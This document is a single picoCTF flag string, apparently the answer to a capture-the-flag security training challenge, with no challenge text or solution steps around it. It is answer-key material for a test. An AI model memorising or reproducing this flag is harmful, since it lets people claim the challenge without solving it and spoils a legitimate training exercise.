picoCTF{cb688c00b5a2ede7eaedcae883735759}